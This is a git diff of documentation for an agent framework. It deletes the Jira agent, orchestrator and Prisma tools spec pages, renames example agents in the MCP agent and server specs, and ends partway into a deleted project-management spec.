b/docs/spec/file-system-agent.mdx index e447fdc12..1bade6ead 100644 --- a/docs/spec/file-system-agent.mdx +++ b/docs/spec/file-system-agent.mdx @@ -1659,7 +1659,7 @@ class FileSystemToolsMixin: Provides browse, tree, search, file info, bookmarks, and read capabilities. All path parameters are validated through PathValidator before access. - Available to: ChatAgent, CodeAgent, or any agent needing file system access. + Available to: ChatAgent, GaiaAgent, or any agent needing file system access. Tool registration follows GAIA pattern: register_filesystem_tools() method with @tool decorator using docstrings for descriptions. diff --git a/docs/spec/jira-agent.mdx b/docs/spec/jira-agent.mdx deleted file mode 100644 index e68246ba2..000000000 --- a/docs/spec/jira-agent.mdx +++ /dev/null @@ -1,402 +0,0 @@ ---- -title: "JiraAgent" ---- - - - **Source Code:** [`hub/agents/jira/python/gaia_agent_jira/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/jira/python/gaia_agent_jira/agent.py) - - - -**Component:** JiraAgent - Natural Language Jira Interface -**Module:** `gaia_agent_jira.agent` -**Inherits:** Agent -**Model:** Qwen3.5-35B-A3B-GGUF (default) - - ---- - -## Overview - -JiraAgent provides a natural language interface to Jira with automatic configuration discovery. It adapts to any Jira instance by discovering projects, issue types, statuses, and priorities dynamically, then translates natural language to JQL queries and API calls. - -**Key Features:** -- Automatic Jira instance discovery -- Natural language to JQL translation -- Async API operations (aiohttp) -- Dynamic system prompt generation -- WebUI integration (Electron) -- Portable across Jira instances - ---- - -## Requirements - -### Functional Requirements - -1. **Jira Discovery** - - Discover projects (keys, names) - - Discover issue types (excluding subtasks) - - Discover statuses - - Discover priorities - - Cache discovered configuration - -2. **Search Operations** - - Natural language → JQL translation - - Execute JQL searches via API - - Parse and format results - - Handle pagination - -3. **CRUD Operations** - - Create issues with validation - - Update issues (summary, description, priority, status) - - Proper error handling for invalid fields - -4. **Configuration Management** - - Accept pre-discovered config - - Initialize() method for discovery - - get_config() to retrieve cached config - ---- - -## API Specification - -### JiraAgent Class - -```python -class JiraAgent(Agent): - """Intelligent Jira agent with automatic configuration discovery.""" - - def __init__( - self, - jira_config: Dict[str, Any] = None, - **kwargs, - ): - """ - Initialize Jira agent. - - Args: - jira_config: Pre-discovered Jira configuration { - "projects": [{"key": "PROJ", "name": "Project Name"}], - "issue_types": ["Bug", "Task", "Story"], - "statuses": ["To Do", "In Progress", "Done"], - "priorities": ["Highest", "High", "Medium", "Low"] - } - **kwargs: Forwarded to the base Agent — e.g. max_steps - (default: the global default), model_id (default: - Qwen3.5-35B-A3B-GGUF), silent_mode, debug, show_prompts. - """ - pass - - def initialize(self) -> Dict[str, Any]: - """ - Discover and cache Jira configuration. - - Returns: - Discovered configuration dict - - Raises: - Exception: If credentials invalid or API fails - """ - pass - - def get_config(self) -> Optional[Dict[str, Any]]: - """Get cached Jira configuration.""" - pass - - # Tools - @tool - def jira_search( - jql: str = "created >= -30d ORDER BY updated DESC", - max_results: int = None, - fields: str = None - ) -> Dict[str, Any]: - """Search Jira issues using JQL query.""" - pass - - @tool - def jira_create( - summary: str, - description: str = "", - issue_type: str = "Task", - priority: str = None, - project: str = None - ) -> Dict[str, Any]: - """Create new Jira issue.""" - pass - - @tool - def jira_update( - issue_key: str, - summary: str = None, - description: str = None, - priority: str = None, - status: str = None - ) -> Dict[str, Any]: - """Update existing Jira issue.""" - pass -``` - -### Environment Variables - -```bash -# Required -ATLASSIAN_SITE_URL=https://company.atlassian.net -ATLASSIAN_API_KEY=your_api_token_here -ATLASSIAN_USER_EMAIL=you@company.com -``` - ---- - -## Implementation Details - -### Discovery Process - -```python -async def _discover_jira_config(self) -> Dict[str, Any]: - """Discover Jira instance configuration via API.""" - - site_url, api_key, user_email = self._get_jira_credentials() - auth_header = base64.b64encode(f"{user_email}:{api_key}".encode()).decode() - - headers = { - "Authorization": f"Basic {auth_header}", - "Content-Type": "application/json" - } - - config = { - "projects": [], - "issue_types": [], - "statuses": [], - "priorities": [] - } - - async with aiohttp.ClientSession() as session: - # Get projects - async with session.get(f"{site_url}/rest/api/3/project", headers=headers) as resp: - projects = await resp.json() - config["projects"] = [{"key": p["key"], "name": p["name"]} for p in projects] - - # Get issue types (exclude subtasks) - async with session.get(f"{site_url}/rest/api/3/issuetype", headers=headers) as resp: - types = await resp.json() - config["issue_types"] = [t["name"] for t in types if not t.get("subtask")] - - # Get statuses - async with session.get(f"{site_url}/rest/api/3/status", headers=headers) as resp: - statuses = await resp.json() - config["statuses"] = [s["name"] for s in statuses] - - # Get priorities - async with session.get(f"{site_url}/rest/api/3/priority", headers=headers) as resp: - priorities = await resp.json() - config["priorities"] = [p["name"] for p in priorities] - - return config -``` - -### Dynamic System Prompt - -```python -def _get_system_prompt(self) -> str: - """Generate system prompt with discovered configuration.""" - - prompt = """You are a Jira assistant that responds ONLY in JSON format. - -**JQL Basics:** -- Current user: assignee = currentUser() -- By key: key = "PROJ-123" -- Operators: AND, OR, NOT""" - - # Add discovered configuration - if self._jira_config: - if self._jira_config.get("projects"): - keys = [p["key"] for p in self._jira_config["projects"]] - prompt += f"\n- Projects: {', '.join(keys)}" - - if self._jira_config.get("issue_types"): - prompt += f"\n- Types: {', '.join(self._jira_config['issue_types'])}" - - if self._jira_config.get("priorities"): - prompt += f"\n- Priorities: {', '.join(self._jira_config['priorities'])}" - - if self._jira_config.get("statuses"): - prompt += f"\n- Statuses: {', '.join(self._jira_config['statuses'])}" - - prompt += """ - -**JQL QUOTING RULES:** -- Single words: NO quotes → status = Done -- Multiple words: DOUBLE quotes → status = "In Progress" -- NEVER use single quotes -- Functions: NO quotes → assignee = currentUser()""" - - return prompt -``` - -### JQL Search Execution - -```python -async def _execute_jira_search_async( - self, - jql: str, - max_results: int = None, - fields: str = None -) -> Dict[str, Any]: - """Execute Jira search API call.""" - - site_url, api_key, user_email = self._get_jira_credentials() - auth_header = base64.b64encode(f"{user_email}:{api_key}".encode()).decode() - - headers = { - "Authorization": f"Basic {auth_header}", - "Content-Type": "application/json" - } - - params = {"jql": jql} - if max_results: - params["maxResults"] = max_results - if fields: - params["fields"] = fields - else: - params["fields"] = "key,summary,status,priority,issuetype,assignee" - - async with aiohttp.ClientSession() as session: - url = f"{site_url}/rest/api/3/search/jql" - async with session.get(url, headers=headers, params=params) as response: - response.raise_for_status() - data = await response.json() - - issues = [] - for issue in data.get("issues", []): - fields = issue.get("fields", {}) - issues.append({ - "key": issue.get("key"), - "summary": fields.get("summary"), - "status": fields.get("status", {}).get("name"), - "priority": fields.get("priority", {}).get("name"), - "type": fields.get("issuetype", {}).get("name"), - "assignee": fields.get("assignee", {}).get("displayName", "Unassigned") - }) - - return { - "issues": issues, - "total": data.get("total", len(issues)), - "jql": jql - } -``` - ---- - -## Testing Requirements - -### Unit Tests - -```python -# tests/agents/test_jira_agent.py - -def test_jira_agent_initialization(): - """Test JiraAgent initializes.""" - config = { - "projects": [{"key": "TEST", "name": "Test Project"}], - "issue_types": ["Bug", "Task"], - "statuses": ["To Do", "Done"], - "priorities": ["High", "Low"] - } - agent = JiraAgent(jira_config=config, silent_mode=True) - assert agent.get_config() == config - -@pytest.mark.asyncio -async def test_jira_search(): - """Test JQL search execution.""" - agent = JiraAgent(silent_mode=True) - # Mock aiohttp session - result = await agent._execute_jira_search_async("assignee = currentUser()") - assert "issues" in result - assert "total" in result - assert "jql" in result - -def test_dynamic_system_prompt(): - """Test system prompt includes discovered config.""" - config = { - "projects": [{"key": "PROJ", "name": "Project"}], - "issue_types": ["Bug"], - "priorities": ["High"] - } - agent = JiraAgent(jira_config=config, silent_mode=True) - prompt = agent._get_system_prompt() - - assert "PROJ" in prompt - assert "Bug" in prompt - assert "High" in prompt -``` - ---- - -## Usage Examples - -### Example 1: CLI Usage - -```bash -# Set credentials -export ATLASSIAN_SITE_URL=https://company.atlassian.net -export ATLASSIAN_API_KEY=your_token -export ATLASSIAN_USER_EMAIL=you@company.com - -# Use agent -gaia jira "Show me high priority bugs assigned to me" -``` - -### Example 2: Python API - -```python -from gaia_agent_jira.agent import JiraAgent - -# Initialize and discover -agent = JiraAgent() -config = agent.initialize() - -print(f"Found {len(config['projects'])} projects") - -# Natural language query -result = agent.process_query("Show my open issues") -print(result["result"]) -``` - -### Example 3: Pre-configured Setup - -```python -# Use pre-discovered config (faster initialization) -config = { - "projects": [{"key": "GAIA", "name": "GAIA Project"}], - "issue_types": ["Bug", "Task", "Story"], - "statuses": ["To Do", "In Progress", "Done"], - "priorities": ["Highest", "High", "Medium", "Low"] -} - -agent = JiraAgent(jira_config=config) -result = agent.process_query("Create a bug: Login fails") -``` - ---- - -## Related Specifications - -- [agent-base](/spec/agent-base) - Agent architecture -- [electron-integration](/spec/electron-integration) - WebUI integration -- [docker-agent](/spec/docker-agent) - Similar agent pattern - ---- - -*JiraAgent Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/mcp-agent.mdx b/docs/spec/mcp-agent.mdx index fb0cc0e7b..3e17f8afb 100644 --- a/docs/spec/mcp-agent.mdx +++ b/docs/spec/mcp-agent.mdx @@ -109,7 +109,7 @@ class MCPAgent(Agent): ... Example: - >>> class CodeAgent(MCPAgent, Agent): + >>> class FileToolsAgent(MCPAgent, Agent): ... def get_mcp_tool_definitions(self): ... return [{ ... "name": "create-file", @@ -356,7 +356,7 @@ def _execute_tool_1(self, param1: str, param2: int) -> Dict: ```python # Single protocol (MCP only) -class DockerAgent(MCPAgent, Agent): +class ToolingAgent(MCPAgent, Agent): def get_mcp_tool_definitions(self): return [...] @@ -364,7 +364,7 @@ class DockerAgent(MCPAgent, Agent): pass # Multiple protocols (MCP + API) -class JiraAgent(MCPAgent, ApiAgent, Agent): +class HybridAgent(MCPAgent, ApiAgent, Agent): # MCP methods def get_mcp_tool_definitions(self): return [...] @@ -374,7 +374,7 @@ class JiraAgent(MCPAgent, ApiAgent, Agent): # API methods def get_model_id(self): - return "gaia-jira" + return "hybrid-agent" # Order: MCPAgent, ApiAgent, then Agent ``` @@ -746,7 +746,7 @@ from gaia.agents.base import Agent, MCPAgent from gaia.agents.base.api_agent import ApiAgent from typing import List, Dict, Any -class CodeAgent(MCPAgent, ApiAgent, Agent): +class CodeAnalyzerAgent(MCPAgent, ApiAgent, Agent): """Code agent exposed via MCP and OpenAI API.""" def _get_system_prompt(self) -> str: @@ -787,7 +787,7 @@ class CodeAgent(MCPAgent, ApiAgent, Agent): # API methods def get_model_id(self) -> str: - return "gaia-code" + return "code-analyzer" def get_model_info(self) -> Dict[str, Any]: return { @@ -798,7 +798,8 @@ class CodeAgent(MCPAgent, ApiAgent, Agent): # Can be used via: # 1. MCP: VSCode extension -> execute_mcp_tool("analyze-code", ...) -# 2. API: POST /v1/chat/completions with model="gaia-code" +# 2. API: POST /v1/chat/completions with model="code-analyzer" +# (after registering it in AGENT_MODELS — see spec/api-server) ``` --- diff --git a/docs/spec/mcp-server.mdx b/docs/spec/mcp-server.mdx index d48c2404e..3ee6ff9c2 100644 --- a/docs/spec/mcp-server.mdx +++ b/docs/spec/mcp-server.mdx @@ -283,15 +283,15 @@ def _print_startup_info(self): def test_server_initialization(): """Test AgentMCPServer initializes.""" - from gaia_agent_docker.agent import DockerAgent + from my_package.agent import GreeterAgent server = AgentMCPServer( - agent_class=DockerAgent, + agent_class=GreeterAgent, port=9999, agent_params={"silent_mode": True} ) - assert server.agent_class == DockerAgent + assert server.agent_class == GreeterAgent assert server.port == 9999 def test_server_rejects_non_mcp_agent(): @@ -303,10 +303,10 @@ def test_server_rejects_non_mcp_agent(): def test_tool_registration(): """Test tools are registered from agent.""" - from gaia_agent_docker.agent import DockerAgent + from my_package.agent import GreeterAgent server = AgentMCPServer( - agent_class=DockerAgent, + agent_class=GreeterAgent, agent_params={"silent_mode": True} ) @@ -314,24 +314,24 @@ def test_tool_registration(): # FastMCP stores tools in internal registry tools = server.agent.get_mcp_tool_definitions() assert len(tools) > 0 - assert tools[0]["name"] == "dockerize" + assert tools[0]["name"] == "greet" @pytest.mark.asyncio async def test_parameter_mapping(): """Test VSCode parameter unwrapping.""" - from gaia_agent_docker.agent import DockerAgent + from my_package.agent import GreeterAgent server = AgentMCPServer( - agent_class=DockerAgent, + agent_class=GreeterAgent, agent_params={"silent_mode": True} ) # Simulate VSCode kwargs wrapper vscode_kwargs = { - "kwargs": {"app_dir": "C:/myapp", "port": 5000} + "kwargs": {"name": "Ada"} } - # Tool wrapper should unwrap and map app_dir → appPath + # Tool wrapper should unwrap the nested kwargs before dispatch # (Testing internal logic, actual test would mock tool execution) ``` @@ -339,19 +339,16 @@ async def test_parameter_mapping(): ```bash # Start server -python -m gaia.mcp.start_docker_mcp --port 8080 --verbose +python -m gaia.mcp.start_example_mcp --port 8081 --verbose # Test with MCP client -curl -X POST http://localhost:8080/mcp/tools/dockerize \ +curl -X POST http://localhost:8081/mcp/tools/greet \ -H "Content-Type: application/json" \ - -d '{"appPath": "C:/Users/test/myapp", "port": 5000}' + -d '{"name": "Ada"}' # Verify response { - "success": true, - "status": "completed", - "result": "Successfully containerized application...", - "steps_taken": 4 + "message": "Hello, Ada!" } ``` @@ -372,17 +369,17 @@ from gaia.logger import get_logger ## Usage Examples -### Example 1: Start Docker MCP Server +### Example 1: Start an MCP Server for Your Agent ```python from gaia.mcp.agent_mcp_server import AgentMCPServer -from gaia_agent_docker.agent import DockerAgent +from my_package.agent import MyAgent # Create server server = AgentMCPServer( - agent_class=DockerAgent, - name="GAIA Docker MCP", - port=8080, + agent_class=MyAgent, + name="My Agent MCP", + port=8081, verbose=True, agent_params={ "allowed_paths": ["/home/user/projects"], @@ -445,18 +442,18 @@ server.start() ### Example 3: CLI Wrapper ```bash -# src/gaia/mcp/start_docker_mcp.py +# src/gaia/mcp/start_example_mcp.py import argparse from gaia.mcp.agent_mcp_server import AgentMCPServer -from gaia_agent_docker.agent import DockerAgent +from my_package.agent import GreeterAgent parser = argparse.ArgumentParser() -parser.add_argument("--port", type=int, default=8080) +parser.add_argument("--port", type=int, default=8081) parser.add_argument("--verbose", action="store_true") args = parser.parse_args() server = AgentMCPServer( - agent_class=DockerAgent, + agent_class=GreeterAgent, port=args.port, verbose=args.verbose ) @@ -466,7 +463,7 @@ server.start() **Usage:** ```bash -python -m gaia.mcp.start_docker_mcp --port 8080 --verbose +python -m gaia.mcp.start_example_mcp --port 8081 --verbose ``` --- @@ -474,7 +471,6 @@ python -m gaia.mcp.start_docker_mcp --port 8080 --verbose ## Related Specifications - [mcp-agent](/spec/mcp-agent) - MCPAgent interface -- [docker-agent](/spec/docker-agent) - Example agent using MCP - [electron-integration](/spec/electron-integration) - Electron MCP client --- diff --git a/docs/spec/orchestrator.mdx b/docs/spec/orchestrator.mdx deleted file mode 100644 index 62e9ad862..000000000 --- a/docs/spec/orchestrator.mdx +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: "Orchestrator" ---- - - - **Source Code:** [`src/gaia/agents/code/orchestration/orchestrator.py`](https://github.com/amd/gaia/blob/main/src/gaia/agents/code/orchestration/orchestrator.py) - - - -**Component:** Orchestrator - Multi-step workflow execution engine -**Module:** `gaia_agent_code.orchestration.orchestrator` -**Import:** `from gaia_agent_code.orchestration.orchestrator import Orchestrator, ExecutionResult, CheckpointAssessment` - ---- - -## Overview - -Orchestrator controls LLM-driven workflow execution with error recovery using Checklist Mode. The LLM generates a checklist of template invocations, which are executed deterministically with automatic error recovery and checkpoint assessment. - -**Key Features:** -- LLM-driven checklist generation -- Deterministic template execution -- Three-tier error recovery strategy -- Iterative refinement with checkpoint review -- Progress reporting and validation tracking -- Project state analysis between iterations - ---- - -## API Specification - -### ExecutionResult - -```python -@dataclass -class ExecutionResult: - """Result of a complete workflow execution.""" - - success: bool - phases_completed: List[str] = field(default_factory=list) - phases_failed: List[str] = field(default_factory=list) - total_steps: int = 0 - steps_succeeded: int = 0 - steps_failed: int = 0 - steps_skipped: int = 0 - errors: List[str] = field(default_factory=list) - outputs: Dict[str, Any] = field(default_factory=dict) - - @property - def summary(self) -> str: - """Get a human-readable summary.""" - status = "SUCCESS" if self.success else "FAILED" - return ( - f"{status}: {self.steps_succeeded}/{self.total_steps} steps completed, " - f"{self.steps_failed} failed, {self.steps_skipped} skipped" - ) -``` - -### CheckpointAssessment - -```python -@dataclass -class CheckpointAssessment: - """LLM-produced verdict about the current checkpoint.""" - - status: str # "complete" or "needs_fix" - reasoning: str - issues: List[str] = field(default_factory=list) - fix_instructions: List[str] = field(default_factory=list) - - @property - def needs_fix(self) -> bool: - """Return True when the reviewer requires another checklist.""" - return self.status.lower() != "complete" - - def to_dict(self) -> Dict[str, Any]: - """Serialize the assessment.""" - ... -``` - -### Orchestrator - -```python -class Orchestrator: - """ - Controls LLM-driven workflow execution with error recovery. - - Uses Checklist Mode exclusively: - - LLM analyzes user request and generates a checklist of templates - - Executor runs templates deterministically - - Provides semantic understanding (e.g., adds checkboxes for todos) - """ - - def __init__( - self, - tool_executor: ToolExecutor, - llm_client: AgentSDK, - llm_fixer: Optional[Callable[[str, str], Optional[str]]] = None, - progress_callback: Optional[Callable[[str, str, int, int], None]] = None, - console: Optional[AgentConsole] = None, - max_checklist_loops: int = 10, - ): - """ - Initialize orchestrator. - - Args: - tool_executor: Function to execute tools (name, args) -> result - llm_client: Agent SDK for checklist generation (required) - llm_fixer: Optional LLM-based code fixer for escalation - progress_callback: Optional callback(phase, step, current, total) - console: Optional console for displaying output - max_checklist_loops: Max number of checklist iterations - """ - ... - - def execute( - self, context: UserContext, step_through: bool = False - ) -> ExecutionResult: - """ - Execute the workflow using iterative LLM-generated checklists. - - Args: - context: UserContext with request and project info - step_through: If True, pause after each step for review - - Returns: - ExecutionResult with success status and detailed outputs - """ - ... - - def _assess_checkpoint( - self, - context: UserContext, - checklist: Any, - execution_result: Any, - validation_history: List[Any], - ) -> CheckpointAssessment: - """Ask the LLM whether the workflow is complete or needs another checklist.""" - ... - - def _build_checkpoint_prompt( - self, - context: UserContext, - checklist: Any, - execution_result: Any, - validation_history: List[Any], - ) -> str: - """Build the prompt for the checkpoint reviewer.""" - ... -``` - ---- - -## Usage Examples - -### Example 1: Basic Workflow Execution - -```python -from gaia_agent_code.orchestration.orchestrator import Orchestrator -from gaia_agent_code.orchestration.steps.base import UserContext - -# Create context -context = UserContext( - user_request="Create a Next.js blog", - project_dir="/path/to/project", - language="typescript", - project_type="fullstack" -) - -# Initialize orchestrator -orchestrator = Orchestrator( - tool_executor=tool_executor, - llm_client=chat_sdk, - max_checklist_loops=5 -) - -# Execute workflow -result = orchestrator.execute(context) - -if result.success: - print(f"Workflow completed: {result.summary}") - print(f"Files created: {len(result.outputs.get('files', []))}") -else: - print(f"Workflow failed: {result.errors}") -``` - -### Example 2: Step-Through Mode - -```python -# Execute with manual step confirmation -result = orchestrator.execute(context, step_through=True) - -# User is prompted after each step: -# "Press Enter to continue, or 'n'/'q' to stop..." -``` - -### Example 3: Custom Progress Callback - -```python -def progress_handler(phase: str, step: str, current: int, total: int): - """Handle progress updates.""" - print(f"[{phase}] Step {current}/{total}: {step}") - -orchestrator = Orchestrator( - tool_executor=tool_executor, - llm_client=chat_sdk, - progress_callback=progress_handler -) - -result = orchestrator.execute(context) -``` - ---- - -## Workflow Flow - -``` -1. Generate Checklist (LLM) - └─> Analyze user request + project state - └─> Generate list of template invocations - -2. Execute Checklist (Deterministic) - └─> For each item: - ├─> Execute template with args - ├─> Apply error recovery if needed - └─> Track validation results - -3. Assess Checkpoint (LLM) - └─> Review execution results - └─> Check validation logs - └─> Decide: complete or needs_fix - -4. Iterate if needed - └─> If needs_fix: - ├─> Add fix feedback to context - ├─> Generate new checklist - └─> Repeat from step 2 -``` - ---- - -## Testing Requirements - -```python -def test_orchestrator_initialization(): - """Test orchestrator creation.""" - orchestrator = Orchestrator( - tool_executor=mock_executor, - llm_client=mock_llm - ) - assert orchestrator is not None - -def test_checkpoint_assessment(): - """Test checkpoint assessment creation.""" - assessment = CheckpointAssessment( - status="needs_fix", - reasoning="Tests failing", - issues=["TypeError in main.py"], - fix_instructions=["Fix type annotation"] - ) - assert assessment.needs_fix - assert len(assessment.issues) == 1 - -def test_execution_result_summary(): - """Test execution result summary.""" - result = ExecutionResult( - success=True, - total_steps=5, - steps_succeeded=5 - ) - assert "5/5" in result.summary - assert "SUCCESS" in result.summary -``` - ---- - -## Dependencies - -```toml -[project] -dependencies = [ - "gaia_agent_code.orchestration.checklist_generator", - "gaia_agent_code.orchestration.checklist_executor", - "gaia_agent_code.orchestration.steps.error_handler", - "gaia_agent_code.orchestration.project_analyzer", -] -``` - ---- - -*Orchestrator Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/prisma-tools-mixin.mdx b/docs/spec/prisma-tools-mixin.mdx deleted file mode 100644 index 6b471ccf1..000000000 --- a/docs/spec/prisma-tools-mixin.mdx +++ /dev/null @@ -1,364 +0,0 @@ ---- -title: "PrismaToolsMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/prisma_tools.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/prisma_tools.py) - - - -**Component:** PrismaToolsMixin -**Module:** `gaia_agent_code.tools.prisma_tools` -**Import:** `from gaia_agent_code.tools.prisma_tools import PrismaToolsMixin` - ---- - -## Overview - -PrismaToolsMixin provides Prisma database setup and management tools for the Code Agent, enforcing the correct workflow to prevent common errors in Next.js projects. - -**Key Features:** -- Automated Prisma Client generation -- Database schema push (prisma db push) -- Singleton pattern implementation for Next.js -- Correct import path guidance -- Error categorization (client, schema, migration, runtime) - -**Enforced Workflow:** -1. Validate schema.prisma exists -2. Generate Prisma Client (TypeScript types) -3. Push schema to database -4. Create singleton file (src/lib/prisma.ts) -5. Return correct import patterns - ---- - -## API Specification - -```python -class PrismaToolsMixin: - """Mixin providing Prisma database management tools.""" - - @tool - def setup_prisma( - project_dir: str, - regenerate: bool = True, - push_db: bool = True - ) -> Dict[str, Any]: - """ - Set up or update Prisma client after schema changes. - - Workflow: - 1. Validate schema.prisma exists - 2. Run `prisma generate` (create TypeScript types) - 3. Run `prisma db push` (sync database) - 4. Create singleton file if missing - 5. Return import patterns - - Call this tool: - - After creating/modifying prisma/schema.prisma - - When seeing "Cannot find name 'Todo'" type errors - - When seeing "@prisma/client has no exported member" errors - - Args: - project_dir: Path to Next.js project - regenerate: Run prisma generate (default: True) - push_db: Run prisma db push (default: True) - - Returns: - { - "success": bool, - "generated": bool, - "pushed": bool, - "singleton_created": bool, - "singleton_path": str, # Relative path - "import_patterns": { - "client_instance": "import { prisma } from '@/lib/prisma'", - "model_types": "import { Todo, User } from '@prisma/client'", - "prisma_namespace": "import { Prisma } from '@prisma/client'" - }, - "output": str, # Command output - "error": str, # If failed - "error_type": "validation_error" | "schema_error" | - "client_error" | "migration_error" | "runtime_error" - } - """ - pass -``` - ---- - -## Implementation Details - -### Prisma Singleton Template - -```typescript -// src/lib/prisma.ts -import { PrismaClient } from "@prisma/client"; - -const globalForPrisma = globalThis as unknown as { - prisma: PrismaClient | undefined; -}; - -export const prisma = globalForPrisma.prisma ?? new PrismaClient(); - -if (process.env.NODE_ENV !== "production") { - globalForPrisma.prisma = prisma; -} -``` - -**Why Singleton?** -- Prevents connection pool exhaustion in Next.js development -- Hot reload causes multiple PrismaClient instances without singleton -- Production builds don't have this issue (single instance) - -### Workflow Implementation - -```python -def setup_prisma(project_dir, regenerate=True, push_db=True): - project_path = Path(project_dir).resolve() - schema_path = project_path / "prisma" / "schema.prisma" - - # Validate schema exists - if not schema_path.exists(): - return { - "success": False, - "error": f"Schema not found at {schema_path}. Run 'npx prisma init' first.", - "error_type": "schema_error" - } - - output_lines = [] - - # Step 1: Generate Prisma Client - if regenerate: - result = subprocess.run( - ["npx", "prisma", "generate"], - cwd=str(project_path), - capture_output=True, - text=True, - timeout=120 - ) - output_lines.append("=== prisma generate ===") - output_lines.append(result.stdout) - - if result.returncode != 0: - return { - "success": False, - "generated": False, - "error": f"prisma generate failed: {result.stderr}", - "error_type": "client_error" - } - - # Step 2: Push schema to database - if push_db: - result = subprocess.run( - ["npx", "prisma", "db", "push"], - cwd=str(project_path), - capture_output=True, - text=True, - timeout=120 - ) - output_lines.append("=== prisma db push ===") - output_lines.append(result.stdout) - - if result.returncode != 0: - return { - "success": False, - "pushed": False, - "error": f"prisma db push failed: {result.stderr}", - "error_type": "migration_error" - } - - # Step 3: Create singleton if missing - singleton_path = project_path / "src" / "lib" / "prisma.ts" - if not singleton_path.exists(): - singleton_path.parent.mkdir(parents=True, exist_ok=True) - singleton_path.write_text(PRISMA_SINGLETON_TEMPLATE) - singleton_created = True - - return { - "success": True, - "generated": regenerate, - "pushed": push_db, - "singleton_created": singleton_created, - "singleton_path": str(singleton_path.relative_to(project_path)), - "import_patterns": { - "client_instance": "import { prisma } from '@/lib/prisma'", - "model_types": "import { Todo, User } from '@prisma/client'", - "prisma_namespace": "import { Prisma } from '@prisma/client'" - }, - "output": "\n".join(output_lines) - } -``` - ---- - -## Error Handling - -### Error Types - -1. **validation_error**: Invalid project directory -2. **schema_error**: Missing schema.prisma file -3. **client_error**: `prisma generate` failed -4. **migration_error**: `prisma db push` failed -5. **runtime_error**: Timeout or unexpected exception - -### Common Errors - -```python -# Project not found -if not project_path.exists(): - return { - "success": False, - "error": f"Project directory does not exist: {project_dir}", - "error_type": "validation_error" - } - -# Schema not found -if not schema_path.exists(): - return { - "success": False, - "error": f"Prisma schema not found. Run 'npx prisma init' first.", - "error_type": "schema_error" - } - -# Timeout -except subprocess.TimeoutExpired: - return { - "success": False, - "error": "Prisma command timed out (exceeded 120 seconds)", - "error_type": "runtime_error" - } -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_prisma_tools_mixin.py` - -```python -def test_setup_prisma_success(tmp_path): - """Test successful Prisma setup.""" - # Create project structure - project = tmp_path / "nextjs-app" - schema_dir = project / "prisma" - schema_dir.mkdir(parents=True) - - # Create minimal schema - (schema_dir / "schema.prisma").write_text(""" -datasource db { - provider = "sqlite" - url = "file:./dev.db" -} -generator client { - provider = "prisma-client-js" -} -model Todo { - id Int @id @default(autoincrement()) - title String -} -""") - - result = agent.setup_prisma(str(project)) - assert result["success"] is True - assert result["generated"] is True - assert result["pushed"] is True - assert (project / "src" / "lib" / "prisma.ts").exists() - -def test_setup_prisma_missing_schema(tmp_path): - """Test error when schema is missing.""" - project = tmp_path / "nextjs-app" - project.mkdir() - - result = agent.setup_prisma(str(project)) - assert result["success"] is False - assert result["error_type"] == "schema_error" - -def test_setup_prisma_singleton_creation(tmp_path): - """Test singleton file is created.""" - # Setup project... - result = agent.setup_prisma(str(project)) - - singleton = project / "src" / "lib" / "prisma.ts" - assert singleton.exists() - assert "globalForPrisma" in singleton.read_text() - -def test_setup_prisma_import_patterns(tmp_path): - """Test correct import patterns are returned.""" - # Setup project... - result = agent.setup_prisma(str(project)) - - assert "client_instance" in result["import_patterns"] - assert "@/lib/prisma" in result["import_patterns"]["client_instance"] - assert "@prisma/client" in result["import_patterns"]["model_types"] -``` - ---- - -## Usage Examples - -### Example 1: Initial Prisma Setup - -```python -# After creating schema.prisma -result = agent.setup_prisma("/path/to/nextjs-project") - -if result["success"]: - print("✓ Prisma setup complete!") - print(f"Generated: {result['generated']}") - print(f"Database pushed: {result['pushed']}") - print(f"Singleton created: {result['singleton_created']}") - - print("\nUse these imports:") - for key, pattern in result["import_patterns"].items(): - print(f" {pattern}") -else: - print(f"✗ Error ({result['error_type']}): {result['error']}") -``` - -### Example 2: Regenerate After Schema Changes - -```python -# After modifying schema.prisma -result = agent.setup_prisma( - "/path/to/nextjs-project", - regenerate=True, - push_db=True -) - -# Check output for migration warnings -print(result["output"]) -``` - -### Example 3: Type Error Resolution - -```python -# When seeing "Cannot find name 'Todo'" errors -result = agent.setup_prisma("/path/to/project") - -# This will: -# 1. Regenerate TypeScript types (prisma generate) -# 2. Sync database (prisma db push) -# 3. Ensure singleton exists - -# Then use: -# import { prisma } from '@/lib/prisma' -# import { Todo } from '@prisma/client' -``` - ---- - -*PrismaToolsMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/project-management-mixin.mdx b/docs/spec/project-management-mixin.mdx deleted file mode 100644 index fff2d2587..000000000 --- a/docs/spec/project-management-mixin.mdx +++ /dev/null @@ -1,352 +0,0 @@ ---- -title: "ProjectManagementMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/project_management.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/project_management.py) - - - -**Component:** ProjectManagementMixin -**Module:** `gaia_agent_code.tools.project_management` -**Import:** `from gaia_agent_code.tools.project_management import ProjectManagementMixin` - ---- - -## Overview - -ProjectManagementMixin provides comprehensive project-level operations for the Code Agent, including intelligent project generation with LLM-driven architecture planning, iterative implementation, and multi-language validation. - -**Key Features:** -- End-to-end project generation from natural language -- LLM-driven architectural planning with JSON schemas -- Iterative file implementation with validation -- Comprehensive multi-language validation (Python, JS/TS, CSS, HTML) -- Test generation and execution with auto-fix -- Anti-pattern detection and structure validation - -**Project Generation Workflow:** -1. Generate detailed architectural plan (JSON schema) -2. Create PLAN.md with structured task breakdown -3. Implement modules one-by-one with validation -4. Generate comprehensive test suite -5. Apply Black formatting -6. Run tests and auto-fix failures -7. Final project validation with quality metrics - ---- - -## API Specification - -```python -class ProjectManagementMixin: - """ - 